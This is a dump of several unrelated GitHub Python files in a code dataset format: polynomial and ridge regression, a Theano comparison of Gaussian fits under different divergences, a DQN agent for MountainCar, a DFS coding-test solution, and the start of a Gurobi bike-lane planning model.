x_data_nor_PR = self.inputTransfom(x_data_nor,self.dPR)\r\n y_PR_nor = np.dot(x_data_nor_PR, self.wPR)\r\n y_PR = y_PR_nor*ysig + yu \r\n \r\n # Polynomial Ridge Regression\r\n x_data_nor_PRR = self.inputTransfom(x_data_nor,self.dim)\r\n y_PRR_nor = np.dot(x_data_nor_PRR, self.wPRR)\r\n y_PRR = y_PRR_nor*ysig + yu\r\n \r\n #Original Data\r\n x_orig = np.array(x)*xsig + xu\r\n y_orig = np.array(y)*ysig + yu\r\n \r\n #Ploting Results\r\n plt.figure(dpi=100)\r\n plt.plot(x_data, y_PR, 'r', label = \"Best d*\")\r\n plt.plot(x_data, y_PRR, 'b--', label = \"Best $\\lambda$*\")\r\n plt.scatter(x_orig, y_orig,color='green', label = \"Origianl Data\")\r\n plt.xlabel(\"Years\")\r\n plt.ylabel(\"Age\")\r\n plt.title(\"Curve fitting for optimal d and $\\lambda$\")\r\n plt.legend()\r\n plt.show()\r\n \r\n def polyFit(self,g):\r\n if g != 0:\r\n ridgeFac = g*np.eye(self.dim + 1)\r\n ridgeFac[0][0] = 0\r\n coMat = np.dot(np.linalg.inv(np.dot(np.transpose(self.xtrain), self.xtrain) + ridgeFac), np.transpose(self.xtrain))\r\n else:\r\n coMat = np.dot(np.linalg.inv(np.dot(np.transpose(self.xtrain), self.xtrain)), np.transpose(self.xtrain))\r\n return np.dot(coMat, self.ytrain)\r\n \r\n def polyRegression(self):\r\n self.ValRmse = []\r\n self.TrainRmse = []\r\n (x, y),(xu,yu),(xsig, ysig) = self.dataClean(self.train_data)\r\n (xt, yt),_,_ = self.dataClean(self.test_data, xu, xsig, yu, ysig)\r\n for d in range(1,self.dim+1):\r\n tx = self.inputTransfom(x,d)\r\n TrainRmse = 0\r\n ValRmse = 0\r\n for i in range(0, self.k):\r\n self.crossValidationSetGenerator(i,tx,y)\r\n #self.cvScaling(d)\r\n self.w = self.polyFit(g=0)\r\n self.yhat_train = np.dot(self.xtrain,self.w)\r\n self.yhat_val = np.dot(self.xval, self.w)\r\n TrainRmse += self.rmseCal(self.ytrain, self.yhat_train, ysig)\r\n ValRmse += self.rmseCal(self.yval, self.yhat_val, ysig)\r\n self.ValRmse.append(ValRmse/self.k)\r\n self.TrainRmse.append(TrainRmse/self.k)\r\n self.printTable(self.TrainRmse, self.ValRmse)\r\n plt.figure(dpi=100)\r\n plt.plot(np.arange(1,self.dim + 1), self.ValRmse,'r--', label = \"Validation Loss\")\r\n plt.plot(np.arange(1,self.dim + 1), self.TrainRmse,'y', label = \"Training Loss\")\r\n plt.legend()\r\n plt.xlabel('Polynomial Dimension')\r\n plt.ylabel('loss')\r\n plt.title('Training and Validation losses for Standard Polynomial Regression')\r\n \r\n #Retraining for optimal weights with best dimension obtained\r\n self.dPR = np.argmin(self.ValRmse) + 1 \r\n self.xtrain = self.inputTransfom(x, self.dPR)\r\n self.ytrain = y\r\n self.wPR = self.polyFit(g=0)\r\n y_new = np.dot(self.xtrain,self.wPR)\r\n trainRMSE = self.rmseCal(self.ytrain, y_new, ysig)\r\n \r\n # Printing the training results obatined\r\n print('--> Best Dimension Obtained:', self.dPR)\r\n print('--> Polynomial Coefficients for best d:',self.wPR)\r\n print('--> Training Loss: {:0.4f}'.format(trainRMSE))\r\n \r\n #Model Evaluation\r\n self.modelEvaluation(xt, yt, ysig, w = self.wPR, d = self.dPR)\r\n\r\n\r\n def polyRidgeRegression(self):\r\n self.ValRmse = []\r\n self.TrainRmse = []\r\n self.WeightDict = {}\r\n #self.x, self.y = [],[]\r\n (x, y),(xu,yu),(xsig, ysig) = self.dataClean(self.train_data)\r\n (xt, yt),_,_ = self.dataClean(self.test_data, xu, xsig, yu, ysig)\r\n for g in self.lmbda:\r\n tx = self.inputTransfom(x,self.dim)\r\n TrainRmse = 0\r\n ValRmse = 0\r\n for i in range(0,self.k):\r\n self.crossValidationSetGenerator(i,tx,y)\r\n #self.cvScaling(self.dim)\r\n self.w = self.polyFit(g)\r\n self.yhat_train = np.dot(self.xtrain,self.w)\r\n self.yhat_val = np.dot(self.xval, self.w)\r\n TrainRmse += self.rmseCal(self.ytrain,self.yhat_train, ysig)\r\n ValRmse += self.rmseCal(self.yval,self.yhat_val, ysig)\r\n \r\n self.ValRmse.append(ValRmse/self.k)\r\n self.TrainRmse.append(TrainRmse/self.k)\r\n self.printTable(self.TrainRmse, self.ValRmse, ridge = True) \r\n plt.figure(dpi=100)\r\n plt.xscale('log')\r\n plt.plot(self.lmbda, self.ValRmse, 'g--', label = \"Validation Loss\")\r\n plt.plot(self.lmbda, self.TrainRmse, 'r', label = \"Training Loss\")\r\n plt.legend()\r\n plt.xlabel('Lambda Coefficients')\r\n plt.ylabel('loss')\r\n plt.title('Training and Validation losses for Polynomial Ridge Regression')\r\n\r\n #Retraining for optimal weights with best lambda obtained\r\n bestG = np.argmin(self.ValRmse) \r\n self.gPRR = self.lmbda[bestG] \r\n self.xtrain = self.inputTransfom(x, self.dim)\r\n self.ytrain = y\r\n self.wPRR = self.polyFit(g= self.gPRR)\r\n y_new = np.dot(self.xtrain,self.wPRR)\r\n trainRMSE = self.rmseCal(self.ytrain, y_new, ysig)\r\n \r\n # Printing the training results\r\n print('--> Best Lambda Obtained: {:0.4f}'.format(self.gPRR))\r\n print('--> Polynomial Coefficients for best lambda:',self.wPRR)\r\n print('--> Training Loss: {:0.4f}'.format(trainRMSE))\r\n \r\n #Model Evaluation\r\n self.modelEvaluation(xt, yt, ysig, w = self.wPRR, d = self.dim)\r\n#%%\r\n# Instantiating the Class PolynomialRegression\r\npr = PolynomialRegression()\r\nprint('***Final Results***')\r\nprint('==========================================================')\r\nprint('Algo1: Curve fitting with Standard Polynomial Regression')\r\nprint('==========================================================')\r\npr.polyRegression()\r\nprint()\r\nprint('==========================================================')\r\nprint('Algo2: Curve fitting with Ridge Regression')\r\nprint('==========================================================')\r\npr.polyRidgeRegression()\r\nprint()\r\npr.plotResults()\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n ","repo_name":"nitheshkv96/AIWinter2023","sub_path":"Polynomial Regression/poly_regression.py","file_name":"poly_regression.py","file_ext":"py","file_size_in_byte":10880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27233472883","text":"\"\"\"\nCode to compare behavior of isotropic Gaussians optimized with respect to\ndifferent divergences.\n\nAdapted from:\nhttps://github.com/lucastheis/model-evaluation/blob/master/code/experiments/comparison.py\n\"\"\"\n\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport numpy.random as nr\nimport os\nimport seaborn as sns\nimport sys\nimport theano as th\nimport pdb\nimport theano.sandbox.linalg as tl\nimport theano.tensor as tt\n\nfrom argparse import ArgumentParser, ArgumentDefaultsHelpFormatter\nfrom scipy.optimize import minimize\nfrom time import time\n\nsys.path.append('./code')\nmpl.use('Agg')\n\n\ndef normal(X, m, C):\n \"\"\"\n Evaluates the density of a normal distribution.\n\n @type X: C{TensorVariable}\n @param X: matrix storing data points column-wise\n\n @type m: C{ndarray}/C{TensorVariable}\n @param m: column vector representing the mean of the Gaussian\n\n @type C: C{ndarray}/C{TensorVariable}\n @param C: covariance matrix\n\n @rtype: C{TensorVariable}\n @return: density of a Gaussian distribution evaluated at C{X}\n \"\"\"\n\n Z = X - m\n\n return tt.exp(\n - tt.sum(Z * tt.dot(tl.matrix_inverse(C), Z), 0) / 2.\n - tt.log(tl.det(C)) / 2.\n - m.size / 2. * np.log(2. * np.pi))\n\n\ndef mogaussian(D=2, K=10, N=100000, seed=2, D_max=100):\n \"\"\"\n Creates a random mixture of Gaussians and corresponding samples.\n\n @rtype: C{tuple}\n @return: a function representing the density and samples\n \"\"\"\n\n nr.seed(seed)\n\n # mixture weights\n p = nr.dirichlet([.5] * K)\n\n # variances\n v = 1. / np.square(nr.rand(K) + 1.)\n\n # means; D_max makes sure that data only depends on seed and not on D\n m = nr.randn(D_max, K) * 1.5\n m = m[:D]\n\n # density function\n X = tt.dmatrix('X')\n C = [np.eye(D) * _ for _ in v]\n\n def log_p(X):\n \"\"\"\n @type X: C{ndarray}/C{TensorVariable}\n @param X: data points stored column-wise\n\n @rtype: C{ndarray}/C{TensorVariable}\n \"\"\"\n\n if isinstance(X, tt.TensorVariable):\n return tt.log(tt.sum([p[i] * normal(X, m[:, [i]], C[i]) for i in range(len(p))], 0))\n else:\n if log_p.f is None:\n Y = tt.dmatrix('Y')\n log_p.f = th.function([Y], log_p(Y))\n return log_p.f(X)\n log_p.f = None\n\n def nonlog_p(X):\n \"\"\"\n @type X: C{ndarray}/C{TensorVariable}\n @param X: data points stored column-wise\n\n @rtype: C{ndarray}/C{TensorVariable}\n \"\"\"\n\n if isinstance(X, tt.TensorVariable):\n return tt.sum([p[i] * normal(X, m[:, [i]], C[i]) for i in range(len(p))], 0)\n else:\n if nonlog_p.f is None:\n Y = tt.dmatrix('Y')\n nonlog_p.f = th.function([Y], nonlog_p(Y))\n return nonlog_p.f(X)\n nonlog_p.f = None\n\n # sample data\n M = nr.multinomial(N, p)\n data = np.hstack(nr.randn(D, M[i]) * np.sqrt(v[i]) + m[:, [i]] for i in range(len(p)))\n data = data[:, nr.permutation(N)]\n\n return nonlog_p, log_p, data\n\n\ndef ravel(params):\n \"\"\"\n Combine parameters into a long one-dimensional array.\n\n @type params: C{list}\n @param params: list of shared variables\n\n @rtype: C{ndarray}\n \"\"\"\n return np.hstack(p.get_value().ravel() for p in params)\n\n\ndef unravel(params, x):\n \"\"\"\n Extract parameters from an array and insert into shared variables.\n\n @type params: C{list}\n @param params: list of shared variables\n\n @type x: C{ndarray}\n @param x: parameter values\n \"\"\"\n x = x.ravel()\n for param in params:\n param.set_value(x[:param.size.eval()].reshape(param.shape.eval()))\n x = x[param.size.eval():]\n\n\ndef plot(log_q, data, xmin=-5, xmax=7, ymin=-5, ymax=7):\n \"\"\"\n Visualize density (as contour plot) and data samples (as histogram).\n \"\"\"\n\n if isinstance(log_q, tuple) or isinstance(log_q, list):\n A, b = log_q\n X = tt.dmatrix('X')\n log_q = th.function([X], normal(X, b, np.dot(A, A.T)))\n\n # evaluate density on a grid\n xx, yy = np.meshgrid(\n np.linspace(xmin, xmax, 200),\n np.linspace(ymin, ymax, 200))\n zz = np.exp(log_q(np.asarray([xx.ravel(), yy.ravel()])).reshape(xx.shape))\n\n hh, x, y = np.histogram2d(data[0], data[1], 80, range=[(xmin, xmax), (ymin, ymax)])\n\n sns.set_style('whitegrid')\n sns.set_style('ticks')\n plt.figure(figsize=(10, 10), dpi=300)\n # plt.imshow(hh.T[::-1], extent=[x[0], x[-1], y[0], y[-1]],\n # \tinterpolation='nearest', cmap='YlGnBu_r')\n # plt.contour(xx, yy, zz, 7, colors='w', alpha=.7)\n plt.scatter(data[0], data[1], color='k', marker='.', alpha=0.05)\n plt.contour(xx, yy, zz, 5, linewidths=2)\n plt.axis('equal')\n plt.axis([x[0], x[-1], y[0], y[-1]])\n # plt.axis('off')\n plt.xticks([])\n plt.yticks([])\n plt.gcf().tight_layout()\n\n\ndef fit_mmd(data):\n \"\"\"\n Fit isotropic Gaussian by minimizing maximum mean discrepancy.\n\n B{References:}\n - A. Gretton et al., I{A Kernel Method for the Two-Sample-Problem}, NIPS, 2007\n - Y. Li et al., I{Generative Moment Matching Networks}, ICML, 2015\n \"\"\"\n\n def gaussian_kernel(x, y, sigma=1.):\n return tt.exp(-tt.sum(tt.square(x - y)) / sigma**2)\n\n def mixed_kernel(x, y, sigma=[.5, 1., 2., 4., 8.]):\n return tt.sum([gaussian_kernel(x, y, s) for s in sigma])\n \n def gram_matrix(X, Y, kernel):\n M = X.shape[0]\n N = Y.shape[0]\n\n G, _ = th.scan(\n fn=lambda k: kernel(X[k // N], Y[k % N]),\n sequences=[tt.arange(M * N)])\n\n return G.reshape([M, N])\n\n # hiddens\n Z = tt.dmatrix('Z')\n\n # parameters\n b = th.shared(np.mean(data, 1)[None], broadcastable=[True, False])\n A = th.shared(np.std(data - b.get_value().T))\n\n # model samples\n X = Z * A + b\n\n # data\n Y = tt.dmatrix('Y')\n M = X.shape[0]\n N = Y.shape[0]\n\n Kyy = gram_matrix(Y, Y, mixed_kernel)\n Kxy = gram_matrix(X, Y, mixed_kernel)\n Kxx = gram_matrix(X, X, mixed_kernel)\n\n MMDsq = tt.sum(Kxx) / M**2 - 2. / (N * M) * tt.sum(Kxy) + tt.sum(Kyy) / N**2\n MMD = tt.sqrt(MMDsq)\n\n f = th.function([Z, Y], [MMD, tt.grad(MMD, A), tt.grad(MMD, b)])\n\n # batch size, momentum, learning rate schedule\n B = 100\n mm = 0.8\n kappa = .7\n tau = 1.\n\n values = []\n\n try:\n for t in range(0, data.shape[1], B):\n if t % 10000 == 0:\n # reset momentum\n dA = 0.\n db = 0.\n\n Z = nr.randn(B, data.shape[0])\n Y = data.T[t:t + B]\n\n lr = np.power(tau + (t + B) / B, -kappa)\n\n v, gA, gb = f(Z, Y)\n dA = mm * dA - lr * gA\n db = mm * db - lr * gb\n\n values.append(v)\n\n A.set_value(A.get_value() + dA)\n b.set_value(b.get_value() + db)\n\n print('{0:>6} {1:.4f}'.format(t, np.mean(values[-100:])))\n\n except KeyboardInterrupt:\n pass\n\n return A.get_value() * np.eye(data.shape[0]), b.get_value().T\n\n\ndef fit_js(data, log_p, max_epochs=20):\n \"\"\"\n Fit isotropic Gaussian by minimizing Jensen-Shannon divergence.\n \"\"\"\n\n # data dimensionality\n D = data.shape[0]\n\n # data and hidden states\n X = tt.dmatrix('X')\n Z = tt.dmatrix('Z')\n\n nr.seed(int(time() * 1000.) % 4294967295)\n idx = nr.permutation(data.shape[1])[:100]\n\n # initialize parameters\n b = th.shared(np.mean(data[:, idx], 1)[:, None], broadcastable=(False, True))\n a = th.shared(np.std(data[:, idx] - b.get_value(), 1)[:, None], broadcastable=[False, True])\n\n # model density\n log_q = lambda X: -0.5 * tt.sum(tt.square((X - b) / a), 0) - D * tt.log(tt.abs_(a)) - D / 2. * np.log(np.pi)\n\n G = lambda Z: a * Z + b\n\n # Jensen-Shannon divergence\n JSD = tt.mean(tt.log(tt.nnet.sigmoid(log_p(X) - log_q(X)))) \\\n + tt.mean(tt.log(tt.nnet.sigmoid(log_q(G(Z)) - log_p(G(Z)))))\n JSD = (JSD + np.log(4.)) / 2.\n # JSD1 = tt.mean(tt.log(tt.nnet.sigmoid(log_p(X) - log_q(X))))\n # JSD2 = tt.mean(tt.log(tt.nnet.sigmoid(log_q(G(Z)) - log_p(G(Z)))))\n # JSD = l * JSD1 + (1 - l) * JSD2\n\n # function computing JSD and its gradient\n f_jsd = th.function([Z, X], [JSD, th.grad(JSD, a), th.grad(JSD, b)])\n\n # SGD hyperparameters\n B = 200\n mm = 0.8\n lr = .5\n\n da = 0.\n db = 0.\n\n try:\n # display initial JSD\n print('{0:>4} {1:.4f}'.format(0, float(f_jsd(nr.randn(*data.shape), data)[0])))\n\n for epoch in range(max_epochs):\n values = []\n\n # stochastic gradient descent\n for t in range(0, data.shape[1], B):\n Z = nr.randn(D, B)\n Y = data[:, t:t + B]\n\n v, ga, gb = f_jsd(Z, Y)\n da = mm * da - lr * ga\n db = mm * db - lr * gb\n\n values.append(v)\n\n a.set_value(a.get_value() + da)\n b.set_value(b.get_value() + db)\n\n # reduce learning rate\n lr /= 2.\n\n # display estimated JSD\n print('{0:>4} {1:.4f}'.format(epoch + 1, np.mean(values)))\n\n except KeyboardInterrupt:\n pass\n\n return a.get_value() * np.eye(D), b.get_value()\n\n\ndef fit_gjs(data, log_p, max_epochs=20):\n \"\"\"\n Fit isotropic Gaussian by minimizing geometric Jensen-Shannon divergence.\n \"\"\"\n\n # data dimensionality\n D = data.shape[0]\n\n # data and hidden states\n X = tt.dmatrix('X')\n Z = tt.dmatrix('Z')\n\n nr.seed(int(time() * 1000.) % 4294967295)\n idx = nr.permutation(data.shape[1])[:100]\n\n # initialize parameters\n b = th.shared(np.mean(data[:, idx], 1)[:, None], broadcastable=(False, True))\n a = th.shared(np.std(data[:, idx] - b.get_value(), 1)[:, None], broadcastable=[False, True])\n alpha = th.shared(0.5)\n\n # model density\n q = lambda X: normal(X, b, a)\n log_q = lambda X: -0.5 * tt.sum(tt.square((X - b) / a), 0) - D * tt.log(tt.abs_(a)) - D / 2. * np.log(np.pi)\n\n G = lambda Z: a * Z + b\n\n # geometric Jensen-Shannon divergence\n # JSD = tt.mean(log_p(X) - log_q(X)) \\\n # + tt.mean(tt.exp(log_q(G(Z))) * (log_q(G(Z)) - log_p(G(Z))))\n # gJSD = (1 - 0.5) ** 2 * tt.mean(tt.exp(log_p(X)) * (log_p(X) - log_q(X))) \\\n # + 0.5 ** 2 * tt.mean(tt.exp(log_q(G(Z))) * (log_q(G(Z)) - log_p(G(Z))))\n gJSD = (1 - alpha) ** 2 * tt.mean(tt.exp(log_p(X)) * (log_p(X) - log_q(G(Z)))) \\\n + alpha ** 2 * tt.mean(tt.exp(log_q(G(Z))) * (log_q(G(Z)) - log_p(X)))\n\n # function computing G-JSD and its gradient\n f_gjsd = th.function([Z, X], [gJSD, th.grad(gJSD, a), th.grad(gJSD, b)])\n\n # SGD hyperparameters\n B = 200\n mm = 0.8\n lr = .5\n\n da = 0.\n db = 0.\n\n try:\n # display initial JSD\n print('{0:>4} {1:.4f}'.format(0, float(f_gjsd(nr.randn(*data.shape), data)[0])))\n\n for epoch in range(max_epochs):\n values = []\n\n # stochastic gradient descent\n for t in range(0, data.shape[1], B):\n Z = nr.randn(D, B)\n Y = data[:, t:t + B]\n\n v, ga, gb = f_gjsd(Z, Y)\n da = mm * da - lr * ga\n db = mm * db - lr * gb\n\n values.append(v)\n\n a.set_value(a.get_value() + da)\n b.set_value(b.get_value() + db)\n\n # reduce learning rate\n lr /= 2.\n\n # display estimated JSD\n print('{0:>4} {1:.4f}'.format(epoch + 1, np.mean(values)))\n\n except KeyboardInterrupt:\n pass\n\n return a.get_value() * np.eye(D), b.get_value()\n\n\ndef fit_kl(data, log_p, max_epochs=20):\n \"\"\"\n Fit isotropic Gaussian by minimizing reverse Kullback-Leibler divergence.\n \"\"\"\n\n # data dimensionality\n D = data.shape[0]\n\n # data and hidden states\n X = tt.dmatrix('X')\n Z = tt.dmatrix('Z')\n\n nr.seed(int(time() * 1000.) % 4294967295)\n idx = nr.permutation(data.shape[1])[:100]\n\n # initialize parameters\n b = th.shared(np.mean(data[:, idx], 1)[:, None], broadcastable=(False, True))\n a = th.shared(np.std(data[:, idx] - b.get_value(), 1)[:, None], broadcastable=[False, True])\n\n # model density\n q = lambda X: normal(X, b, a)\n log_q = lambda X: -0.5 * tt.sum(tt.square((X - b) / a), 0) - D * tt.log(tt.abs_(a)) - D / 2. * np.log(np.pi)\n\n G = lambda Z: a * Z + b\n\n # geometric Jensen-Shannon divergence\n KL = tt.mean(0.0 * X) + tt.mean(tt.exp(log_q(G(Z))) * (log_q(G(Z)) - log_p(G(Z))))\n\n # function computing G-JSD and its gradient\n f_kl = th.function([Z, X], [KL, th.grad(KL, a), th.grad(KL, b)])\n\n # SGD hyperparameters\n B = 200\n mm = 0.8\n lr = .5\n\n da = 0.\n db = 0.\n\n try:\n # display initial JSD\n print('{0:>4} {1:.4f}'.format(0, float(f_kl(nr.randn(*data.shape), data)[0])))\n\n for epoch in range(max_epochs):\n values = []\n\n # stochastic gradient descent\n for t in range(0, data.shape[1], B):\n Z = nr.randn(D, B)\n Y = data[:, t:t + B]\n\n v, ga, gb = f_kl(Z, Y)\n da = mm * da - lr * ga\n db = mm * db - lr * gb\n\n values.append(v)\n\n a.set_value(a.get_value() + da)\n b.set_value(b.get_value() + db)\n\n # reduce learning rate\n lr /= 2.\n\n # display estimated JSD\n print('{0:>4} {1:.4f}'.format(epoch + 1, np.mean(values)))\n\n except KeyboardInterrupt:\n pass\n\n return a.get_value() * np.eye(D), b.get_value()\n\n\ndef fit_rkl(data, log_p, max_epochs=20):\n \"\"\"\n Fit isotropic Gaussian by minimizing reverse Kullback-Leibler divergence.\n \"\"\"\n\n # data dimensionality\n D = data.shape[0]\n\n # data and hidden states\n X = tt.dmatrix('X')\n Z = tt.dmatrix('Z')\n\n nr.seed(int(time() * 1000.) % 4294967295)\n idx = nr.permutation(data.shape[1])[:100]\n\n # initialize parameters\n b = th.shared(np.mean(data[:, idx], 1)[:, None], broadcastable=(False, True))\n a = th.shared(np.std(data[:, idx] - b.get_value(), 1)[:, None], broadcastable=[False, True])\n\n # model density\n q = lambda X: normal(X, b, a)\n log_q = lambda X: -0.5 * tt.sum(tt.square((X - b) / a), 0) - D * tt.log(tt.abs_(a)) - D / 2. * np.log(np.pi)\n\n G = lambda Z: a * Z + b\n\n # geometric Jensen-Shannon divergence\n RKL = tt.mean(tt.exp(log_p(X)) * (log_p(X) - log_q(X))) + tt.mean(0.0 * Z)\n\n # function computing G-JSD and its gradient\n f_rkl = th.function([Z, X], [RKL, th.grad(RKL, a), th.grad(RKL, b)])\n\n # SGD hyperparameters\n B = 200\n mm = 0.8\n lr = .5\n\n da = 0.\n db = 0.\n\n try:\n # display initial JSD\n print('{0:>4} {1:.4f}'.format(0, float(f_rkl(nr.randn(*data.shape), data)[0])))\n\n for epoch in range(max_epochs):\n values = []\n\n # stochastic gradient descent\n for t in range(0, data.shape[1], B):\n Z = nr.randn(D, B)\n Y = data[:, t:t + B]\n\n v, ga, gb = f_rkl(Z, Y)\n da = mm * da - lr * ga\n db = mm * db - lr * gb\n\n values.append(v)\n\n a.set_value(a.get_value() + da)\n b.set_value(b.get_value() + db)\n\n # reduce learning rate\n lr /= 2.\n\n # display estimated JSD\n print('{0:>4} {1:.4f}'.format(epoch + 1, np.mean(values)))\n\n except KeyboardInterrupt:\n pass\n\n return a.get_value() * np.eye(D), b.get_value()\n\n\ndef main(argv):\n parser = ArgumentParser(argv[0],\n description=__doc__,\n formatter_class=ArgumentDefaultsHelpFormatter)\n parser.add_argument('--metrics', '-m', choices=['MMD', 'KL', 'RKL', 'JS', 'GJS', ''], nargs='+', default=['KL', 'RKL', 'JS', 'GJS'],\n help='Which metrics to include in comparison.')\n parser.add_argument('--num_data', '-N', type=int, default=100000,\n help='Number of training points.')\n parser.add_argument('--seed', '-s', type=int, default=22,\n help='Random seed used to generate data.')\n parser.add_argument('--output', '-o', type=str, default='results/',\n help='Where to store results.')\n\n args = parser.parse_args(argv[1:])\n\n if not os.path.exists(args.output):\n os.makedirs(args.output)\n\n print('Generating data...')\n\n D = 3\n nonlog_p, log_p, data = mogaussian(D=D, N=args.num_data, seed=args.seed)\n\n if D == 2:\n plot(log_p, data)\n plt.savefig(os.path.join(args.output, '{0}_data.png'.format(args.seed)))\n\n if 'KL' in args.metrics:\n print('Optimizing Kullback-Leibler divergence...')\n\n A, b = fit_kl(data, log_p)\n\n if D == 2:\n plot([A, b], data)\n plt.savefig(os.path.join(args.output, '{0}_KL.png'.format(args.seed)))\n\n if 'RKL' in args.metrics:\n print('Optimizing *reverse* Kullback-Leibler divergence...')\n\n A, b = fit_rkl(data, log_p)\n\n plot([A, b], data)\n plt.savefig(os.path.join(args.output, '{0}_RKL.png'.format(args.seed)))\n\n if 'JS' in args.metrics:\n print('Optimizing Jensen-Shannon divergence...')\n\n A, b = fit_js(data, log_p)\n\n plot([A, b], data)\n plt.savefig(os.path.join(args.output, '{0}_JS.png'.format(args.seed)))\n\n if 'GJS' in args.metrics:\n print('Optimizing *geometric* Jensen-Shannon divergence...')\n\n A, b = fit_gjs(data, log_p)\n\n plot([A, b], data)\n plt.savefig(os.path.join(args.output, '{0}_GJS.png'.format(args.seed)))\n\n if 'MMD' in args.metrics:\n print('Optimizing MMD...')\n\n A, b = fit_mmd(data)\n\n plot([A, b], data)\n plt.savefig(os.path.join(args.output, '{0}_MMD.png'.format(args.seed)))\n\n return 0\n\n\nif __name__ == '__main__':\n sys.exit(main(sys.argv))\n","repo_name":"jacobdeasy/geometric-js","sub_path":"notebooks/comparison_old.py","file_name":"comparison_old.py","file_ext":"py","file_size_in_byte":17784,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"61"} +{"seq_id":"43799730285","text":"import gym\nimport numpy as np\nfrom brain import DeepQNetwork\n\nenv = gym.make('MountainCar-v0')\nsteps = []\n\ndef run():\n step = 0\n\n for episode in range(3000):\n # initial observation\n observation = env.reset()\n step = 0\n\n while True:\n # fresh env\n env.render()\n\n # RL choose action based on observation\n action = RL.choose_action(observation)\n\n # RL take action and get next observation and reward\n observation_, reward, done, info = env.step(action)\n\n # update reward\n reward = (observation_[0]-observation[0]) * observation_[1]\n if observation_[0] > -0.5:\n reward += 3 * abs(observation_[0] - (-0.5)) \n else:\n reward += abs(observation_[0] - (-0.5))\n\n RL.store_transition(observation, action, reward, observation_)\n\n if (step > 200) and (step % 5 == 0):\n RL.learn()\n\n # swap observation\n observation = observation_\n\n # break while loop when end of this episode\n if observation[0] >= 0.5:\n print(\"steps: \", step)\n steps.append(step)\n break\n step += 1\n\n env.close()\n\n\nif __name__ == \"__main__\":\n import argparse\n \n parser = argparse.ArgumentParser()\n parser.add_argument('--reuse', \n\t\t\t\t\tdefault='False',\n\t\t\t\t\thelp='is testing mode or not')\n args = parser.parse_args()\n\n RL = DeepQNetwork(3, 2,\n args.reuse,\n learning_rate=0.1,\n reward_decay=0.9,\n e_greedy=0.9,\n replace_target_iter=200,\n memory_size=2000,\n # output_graph=True\n )\n run()\n\n import matplotlib.pyplot as plt\n plt.plot(np.arange(len(steps)), steps)\n plt.ylabel('steps cost')\n plt.xlabel('episode')\n plt.savefig('steps_picture.png')\n plt.show()\n\n","repo_name":"jkrvivian/MountainCar","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20225256166","text":"# https://school.programmers.co.kr/learn/courses/30/lessons/150368\n\ntotal_member = 0\ntotal_profit = 0\nrates = [10, 20, 30, 40]\n\n\ndef calc(rate_list, users, emoticons):\n temp_member = 0\n temp_profit = 0\n for user in users:\n rate, money = user\n user_profit = 0\n\n for i in range(len(emoticons)):\n if rate_list[i] >= rate:\n user_profit += emoticons[i] * (1 - (rate_list[i] * 0.01))\n if user_profit >= money:\n temp_member += 1\n else:\n temp_profit += user_profit\n return temp_member, temp_profit\n\n\ndef dfs(count, rate_list, users, emoticons):\n global total_member, total_profit, rates\n\n if count == len(emoticons):\n temp_member, temp_profit = calc(rate_list, users, emoticons)\n if total_member < temp_member:\n total_member = temp_member\n total_profit = temp_profit\n elif total_member == temp_member:\n total_profit = max(temp_profit, total_profit)\n return # dfs 종료\n\n for i in range(4):\n dfs(count + 1, rate_list + [rates[i]], users, emoticons)\n\n\ndef solution(users, emoticons):\n global total_member, total_profit\n dfs(0, [], users, emoticons)\n answer = [total_member, total_profit]\n return answer","repo_name":"ko509/Weekly-AlgoStudy","sub_path":"1차/1주차/우민지/[Pro] 이모티콘 할인행사.py","file_name":"[Pro] 이모티콘 할인행사.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"25129497323","text":"# from calendar import c\nfrom gurobipy import Model, GRB, quicksum\nimport random\n\n\n\nrandom.seed(10)\n\nt = 10\nn = 8\nc = 3\n\n# rangos\nC_ = range(c)\n\nN_ = range(n)\n\nT_ = range(t)\n\n\n# Parametros\n\n# Presupuesto de la municipalidad\nP = 88300\n\n# Plazo maximo para terminar la construccion de las obras\nT = t\n\n# Sueldo fijo diario para trabajador externo\nS = 1300\n# Costo de produccion de un metro de la ciclovia tipo c\nK = [2000, 3000, 5000] # Ciclovia tipo [0] cuesta 2000$ por unidad de largo\n\n# Costo de produccion de senalizacion de ciclovia tipo c\nG = [20, 30, 50] # Senalizacion de ciclovia tipo [0] cuesta 20$\n\n# Costo de mantencion por metro de ciclovia tipo c\nD = [2000, 3000, 5000] # Ciclovia tipo [0] cuesta 2000$ por unidad de largo\n# Tiempo de construccion de la ciclovia tipo c\nU = [1, 2, 3]\n\n# Personal requerido para construir ciclovia tipo c\nJ = [2, 3, 4]\n\n# Largo de la calle n\nL = [1, 2, 3, 4, 5, 3, 4, 6]\n\n# Cantidad de personas que utilizan la calle n\nA = [50, 80, 12, 100, 60, 1000, 70, 500]\n\n# Indice de accidentes que sufren bicicletas en la calle n\nI = [0.8, 0.5, 0.9, 1.0, 0.6, 0.2, 0.6, 1]\n\n# Existencia de ciclovia en la calle n\nE = [0, 0, 0, 0, 1, 0, 0, 0]\n \n# Personal disponible para trabajar en el dia t\nO = [7, 7, 7, 7, 7, 5, 5, 7, 7, 7]\n\n# Si en la calle n se puede construir\nH = [[0, 1, 0], [1, 1, 1], [1, 1, 0], [0, 1, 1], [1, 1, 1], [0, 1, 1], [0, 1, 1], [0, 1, 1]]\n\n\n# definmos un sub indice de [i,j,k] que son los que se meveran dentro de los indices, estos estan en orden [C_,N_,T_].\n# Para evitar errores de codigo defini todos los parametros como mayusculas y los sub indices como son i,j,k en minusculas.\n\n\nm = Model(\"BICIStreckennetz\")\n\n\n# Variables\nx = m.addVars(N_, C_, vtype=GRB.BINARY, name=\"x\")\nw = m.addVars(N_, C_, T_, vtype=GRB.BINARY, name=\"w\")\nz = m.addVars(T_, vtype=GRB.INTEGER, name=\"z\")\n\n\nm.update()\n\n\n# R1\n# m.addConstrs(sum(x[i,j,h,k] for i in N_) <= 1 for j in J_ for h in D_ for k in K_)\nm.addConstrs(\n (quicksum(x[n, c] for c in C_) <= 1 - E[n] for n in N_),\n name=\"Una ciclovia por 